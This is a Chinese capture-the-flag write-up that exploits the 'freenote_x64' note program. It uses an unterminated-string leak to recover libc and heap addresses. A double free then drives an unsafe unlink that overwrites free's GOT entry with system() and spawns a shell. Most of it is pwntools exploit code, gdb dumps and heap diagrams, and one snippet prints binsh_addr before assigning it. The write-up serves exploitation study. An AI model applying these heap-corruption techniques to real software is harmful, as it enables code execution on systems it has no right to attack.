freenote_x64堆漏洞double free利用

漏洞程序freenote_x64下载
运行程序,这是一个note笔记本程序:

1
2
3
4
5
6
7
8
9
➜  ./freenote_x64
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:

new_note和delete_note通过malloc()free()来管理内存。
这个程序有两个漏洞,一个是建立新note的时候在note的结尾处没有加\0因此会造成堆或者栈的地址泄露,另一个问题就是在delete note的时候,并不会检测这个note是不是已经被删除过了,因此可以删除一个note两遍,造成double free。

泄露libc在内存中的地址

因为note的结尾没有\0,因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段,因此我们可以通过新建两个note(必须两个,若只有一个,删除后没有fd,bk)再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
notelen = 0x80

new_note("A" * notelen)
new_note("B" * notelen)
delete_note(0)

new_note("\xb8")
# 泄露libc的.bss段地址
list_note()

p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leaklibcaddr)

delete_note(1)
delete_note(0)
# freelist保存在libc的.bss段,0x3be7b8是freelist地址与libc起始地址之间的固定偏移(同一程序在不同机器上一样,不同程序不同,可由本地调试得知)
libc_base_addr = leaklibcaddr - 0x3be7b8
# 0x46640是system在libc.so中的偏移
system_sh_addr = libc_base_addr + 0x46640
print "system_sh_addr: " + hex(system_sh_addr)
# 0x17ccdb是"/bin/sh"在libc.so中的偏移
print "binsh_addr: " + hex(binsh_addr)
binsh_addr = libc_base_addr + 0x17ccdb

note_table的指针在.bss段的地址:

1
.bss:00000000006020A8 note_table_ptr      dq ?

用gdb attach到freenote_x64的进程上,查看指针值即为note_table的地址,查看note_table内容:

1
2
3
4
5
6
7
8
gdb-peda$ x/x 0x6020A8
0x6020a8: 0x0000000002328010 ; note_table address

gdb-peda$ x/8x 0x2328010
0x2328010: 0x0000000000000100 0x0000000000000002
0x2328020: 0x0000000000000001 0x0000000000000080
0x2328030: 0x0000000002329830 0x0000000000000001
0x2328040: 0x0000000000000080 0x00000000023298c0

note_table的结构:

1
2
3
4
5
6
7
head            chunk0                      chunk1
| | |
+--------+--------+--------+--------+---------+-
| total | in_use | in_use | note | note |
| number | number | | length | address | ...
| 0x100 | | | | |
+--------+--------+--------+--------+---------+-

这时note_table中有2条note,地址分别为0x2329830和0x23298c0。
删除note0后,查看note_table里的内容:

1
2
3
4
5
gdb-peda$ x/8x 0x2328010
0x2328010: 0x0000000000000100 0x0000000000000001
0x2328020: 0x0000000000000000 0x0000000000000000
0x2328030: 0x0000000002329830 0x0000000000000001
0x2328040: 0x0000000000000080 0x00000000023298c0

查看note0地址里的内容:

1
2
3
gdb-peda$ x/4x 0x2329830
0x2329830: 0x00007ff508b507b8 0x00007ff508b507b8
0x2329840: 0x4141414141414141 0x4141414141414141

fd为0x00007ff508b507b8,bk为0x00007ff508b507b8
新建一个内容为"\xb8"的note,打印内容就能泄露出fd的值。由fd的值计算出libc在内存的基址,从而算出system()"/bin/sh"的实际地址。
system()"/bin/sh"在libc中的偏移可以如下得出:

1
2
3
4
5
6
from pwn import *

libc = ELF("./libc-2.19.so")

print hex(next(libc.search('/bin/sh')))
print hex(libc.symbols['system'])

或者手工:

1
$ nm -D libc-2.19.so | grep system

泄露出heap在内存中的地址

如果让某个非使用中chunk的fd指向另一个chunk,并且让note的内容刚好接上,就可以把chunk在堆上的位置给泄露出来。这样我们就能得到堆(note_table)的基址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
notelen = 0x10

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")

print leak[0:-1].encode('hex')
leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leakheapaddr)

delete_note(0)
delete_note(1)
delete_note(3)

删除note2和note0后freelist的结构:

1
2
3
4
5
6
7
freelist     note0空闲块   note2空闲块
| | |
+------+ +------+ +------+
| | --> | fd |--> | fd |
| | <--| bk | <--| bk |
+------+ +------+ +------+
| .... |

freelist是从头进,从尾出(FIFO)。先删除note2,note2加入list,再删除note0,note0从头加入。再新建一个内容为”AAAAAAAA”的note,会先使用note2空闲块,因此看一下note2的内容:

1
2
3
gdb-peda$ x/4x 0x2329950
0x2329950: 0x00007ff508b507b8 0x0000000002329820
0x2329960: 0x0000000000000000 0x0000000000000000

新建note后,”AAAAAAAA”覆盖了0x00007ff508b507b8,正好接到0x0000000002329820(note0地址),使用list_note就能泄露出note0的地址,note0的地址减去0x1810就是note_table的地址。

将note0的地址指向note_table的地址。随后我们就可以通过编辑note0来编辑note_table了。通过编辑note_table我们把note0指向free()函数在got表中的地址,把note1指向"/bin/sh"在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了"/bin/sh",所以程序会执行system(“/bin/sh”),最终达到了我们的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
notelen = 0x80

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)

delete_note(2)
delete_note(1)
delete_note(0)
# note_table_address = note0->address - 0x1810
# note0->pos = note_table_address + 0x20
# fd = note0->pos - 0x18
fd = leakheapaddr - 0x1810 + 0x20 - 0x18
# bk = note0->pos - 0x10
bk = fd + 0x8

对应的堆结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+-----------+-note0
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note1
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note2
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+

fd指向note0在note_table中的位置减0x18,bk指向note0在note_table中的位置减0x10

1
2
3
4
5
6
7
8
9
10
11
payload  = ""
# fake_prevsize + fake_size + fake_fd + fake_bk + data
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
# fake_prevsize + size + data
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
# prevsize + size + data
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

new_note(payload)

delete_note(1)

对应的堆结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
+-----------+-note0
| prev_size |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
| fake_prev |
+-----------+
| fake_size |
+-----------+
| fake_fd |
+-----------+
| fake_bk |
+-----------+
| data |
+-----------+-note1
| fake_prev |
+-----------+
| fake_size |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+-note2
| 0 |
+-----------+
| size&Flag |
+-----------+-malloc返回的ptr
+-----------+
+-----------+
| data |
+-----------+

delete note1就会触发unlink,使note0的地址变成note0->pos-0x18,这时对note0进行编辑即对note_table进行编辑:

1
2
3
4
5
6
7
8
9
10
11
free_got = 0x602018

payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
payload2 += "A"* (notelen*3-len(payload2))

edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))

delete_note(1)

p.interactive()

完整exp
reference
http://drops.wooyun.org/binary/10638